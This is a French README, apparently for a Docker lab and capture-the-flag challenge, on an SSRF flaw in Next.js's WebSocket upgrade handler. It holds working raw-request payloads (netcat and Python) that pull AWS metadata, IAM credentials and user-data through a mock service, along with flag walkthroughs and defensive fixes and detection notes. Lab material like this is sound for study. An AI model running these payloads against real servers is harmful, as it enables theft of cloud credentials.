
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
| Champ | Valeur |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| Versions affectées | Next.js 13.4.13 – 15.5.15 et 16.0.0 – 16.2.4 |
| Versions corrigées | 15.5.16 et 16.2.5 |
| Authentification | aucune |
| Interaction utilisateur | aucune |
Attaquant (hôte : 0.0.0.0)
│ HTTP :3000 (public)
▼
┌──────────────────────────┐ même namespace réseau ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ « Nimbus Analytics » │ │ (identifiants, │
│ (serveur Node intégré) │ │ user-data, index) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (port 3000) : l'application vulnérable, exposée sur 0.0.0.0:3000.imds-sidecar : maquette du service de métadonnées AWS qui vit sur
localhost:80 à l'intérieur du namespace du conteneur Next.js, modélisant
une instance réelle dans le cloud. Il n'est pas accessible depuis l'hôte directement
(aucun port publié). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatisé (5 sondes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + routes secrètes
└── nextjs-app/ # Application réaliste « Nimbus Analytics »
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnérable)
Le gestionnaire de mise à niveau WebSocket dans router-server.ts appelle proxyRequest()
lorsque l'URI analysé possède parsedUrl.protocol, sans vérifier les indicateurs
finished et statusCode que le gestionnaire HTTP normal a toujours émis :
// vulnérable (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// correctif (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Le vecteur d'attaque utilise une ligne de requête avec URI absolue à double barre oblique :
GET http:///path. normalizeRepeatedSlashes réduit http:/// à http:/,
sans nom d'hôte, et http-proxy se connecte alors à localhost:80 avec
le chemin intact :
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
La présence des en-têtes Connection: Upgrade + Upgrade: websocket fait
que la requête tombe dans le gestionnaire de mise à niveau vulnérable au lieu du
gestionnaire HTTP avec les vérifications de sécurité.
docker compose up -d --build
Vérifier que l'application répond :
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Pour le faire fonctionner sur 0.0.0.0, le mappage de ports dans
docker-compose.yml expose déjà 3000:3000 sur toutes les interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Flux complet 100 % manuel, en 4 phases. Il y a 4 flags cachés dans le
service interne (localhost:80) ; ce guide montre le flux jusqu'au
premier et vous laisse les chemins pour trouver les autres.
# Empreinte du serveur
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Ports ouverts via socket (sans nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Il n'y a pas d'accès direct à 127.0.0.1:80 depuis l'attaquant : le seul vecteur est
de faire en sorte que le serveur Next.js (qui vit bien sur le même réseau que le service
interne) demande à notre place.
Nous confirmons d'abord le SSRF en interrogeant l'index du service de métadonnées :
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Réponse de l'index → candidats : instance-id, hostname,
iam/security-credentials/, user-data (premier flag). L'index de
latest/meta-data/ révèle également des sous-clés qu'il convient de continuer à explorer.
GET http:///latest/user-data HTTP/1.1
| Partie | Fonction |
|---|---|
GET | La vulnérabilité ne proxifie que GET |
http:///latest/user-data | URI absolue. http:/// se réduit à http:/ → nom d'hôte nul → le proxy se connecte à localhost:80 en conservant le chemin /latest/user-data |
Host: 127.0.0.1:3000 | Sinon, le serveur répond 400 |
Connection: Upgrade + Upgrade: websocket | Détournent la requête vers le gestionnaire de mise à niveau vulnérable (le gestionnaire HTTP normal, lui, valide) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | En-têtes minimales exigées dans un handshake légitime |
Terminaison : \r\n\r\n sur le socket brut (sans corps).
# Option A : netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Option B : socket brut en Python (même précision, sans nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Sortie — le premier flag arrive dans le corps de la réponse du service interne :
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Flag 1/4 obtenu. L'en-tête server: BaseHTTP/0.6 ... (maquette Python)
confirme que la requête a voyagé Attaquant → Next.js → localhost:80, c'est-à-dire
que le flag a été exfiltré depuis le réseau interne par le SSRF. Les 3 autres sont
disséminés dans les chemins du service de métadonnées et du service interne — l'index de
latest/meta-data/ est votre carte. Trouvez les autres.
Le faux IMDS (localhost:80) modélise le service de métadonnées réel d'AWS : c'est un
arbre navigable. Chaque répertoire (se terminant par /) répond avec l'index
de ses sous-chemins ; demander un répertoire sans / renvoie une redirection 301. Il
n'y a pas de chemins cachés : aucun flag n'exige de deviner — tout se découvre
en naviguant les index.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → script de démarrage (signale internal/config)
| Chemin | Contenu |
|---|---|
latest/meta-data/ | Index des métadonnées (ligne ci-dessus) |
latest/meta-data/iam/security-credentials/ | Rôle lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON avec AccessKeyId, SecretAccessKey et Token |
latest/user-data | Script de démarrage avec identifiants de base de données |
latest/dynamic/instance-identity/document | JSON d'identité d'instance |
internal/config | Configuration d'un service interne (BD, clé API) — référencé par user-data |
Défi CTF : il y a 4 flags, et chacun est un artefact réel de la chaîne d'exploitation SSRF contre AWS : (1) user-data du démarrage, (2) identifiants IAM, (3) document d'identité, (4) configuration d'un service interne. Leurs valeurs ne sont pas publiées. Naviguez les index (
/→latest/→ …) et suivez de bannière en bannière ; le script user-data vous indique où vit le quatrième. Pas besoin de deviner les chemins : le 404 ne fait que vous trahir en inventant un chemin qui n'existe pas.
Version complète avec la chaîne flag→flag dans son propre document : SOLUCION.md (chaque flag vous donne l'indice du suivant, hors de ce README).
La règle : chaque flag a un indice, un obstacle et la solution. Essayez d'abord avec l'indice ; utilisez l'obstacle quand vous êtes bloqué. Pas de chemins cachés : rien n'est falsifié, tout se navigue.
Deux avertissements avant de commencer :
ssrf() est déjà prêt dans SOLUCION.md →
Préparation : copiez-le et utilisez-le pour le reste du guide. Il envoie une
requête GET http:///<path> avec Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 de FLAG{…}). Déchiffrez-les :
echo <blob> | base64 -d./latest/user-data ? C'est la première chose que
vérifie tout attaquant sur AWS./ à la fin.
ssrf latest/meta-data vous donne 301 Moved Permanently et Location: latest/meta-data/. = « Suis-moi ». Avec nc, pas de suivi automatique : répétez la
demande avec la barre oblique.ssrf latest/user-data
Dans le corps : le script de démarrage avec DB_PASS=… (Flag 1 est là-dedans),
et une ligne curl -s http://internal/config qui est la carte du Flag 4.
latest/meta-data/iam/security-credentials/ et demandez le rôle
qui apparaît.Token n'est pas du remplissage) : le 200 renvoie un long JSON.
AccessKeyId/SecretAccessKey sautent aux yeux ; le Flag 2 n'est pas
là : le champ Token est une seule chaîne base64. Déchiffrez-la.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ n'est pas le seul arbre. Regardez l'index racine :
il y a un dynamic/ que presque personne n'ouvre.dynamic/ → instance-identity/ →
document. Ce sont trois marches ; à chacune, votre ssrf doit se terminer par /
(sauf document). Les gens se perdent en ne redemandant pas après le 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
Le JSON d'identité inclut une clé FLAG avec le Flag 3 (en base64).
Si votre série de commandes a renvoyé 301 à la deuxième marche, retenez la
leçon de l'Obstacle 1.
curl -s http://internal/config.internal ne résout
pas. « internal » est un alias côté serveur, pas le vôtre. Vous ne changez pas
l'hôte : le SSRF atterrit toujours sur localhost:80 ; vous ne choisissez que le
chemin.ssrf internal/config
Vérification des 4 (blob base64 → décodé) :
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 flags en main. Si l'un d'eux ne vous donne pas FLAG{...}, vous savez quoi faire :
vérifiez le curl de user-data (obstacle du Flag 4) ou le / des index (obstacle du Flag 1).
Utilisation manuelle, par exemple identifiants IAM :
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Résultat attendu — la réponse arrive avec server: BaseHTTP/0.6 Python/3.12.x
(la maquette), pas avec la bannière de Next.js, ce qui prouve que la requête a été
faite par le serveur vers localhost:80 :
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
Le PoC vérifie le SSRF mais censure les flags : les blobs base64 des
FLAG{...} et les FLAG{...} en clair s'affichent comme texte censuré. Les
valeurs ne s'obtiennent que par exploration manuelle (section CTF ci-dessus).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag chiffré : exploitation manuelle) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag chiffré : exploitation manuelle) ***
http:///).Upgrade: websocket avec 400).Pour confirmer que le correctif (Next.js ≥ 15.5.16) bloque l'attaque, changez la
version dans nextjs-app/package.json en 15.5.16, reconstruisez et ré-exécutez le
même payload : la connexion se ferme sans renvoyer de données.
Signatures dans les journaux du processus Next.js :
Failed to proxy http:/ — le proxy s'est déclenché mais la destination était inaccessible.http: accompagnée
d'en-têtes Connection: Upgrade / Upgrade: websocket.HttpTokens=required) sur AWS.if ($request_uri ~* "^https?://") { return 400; }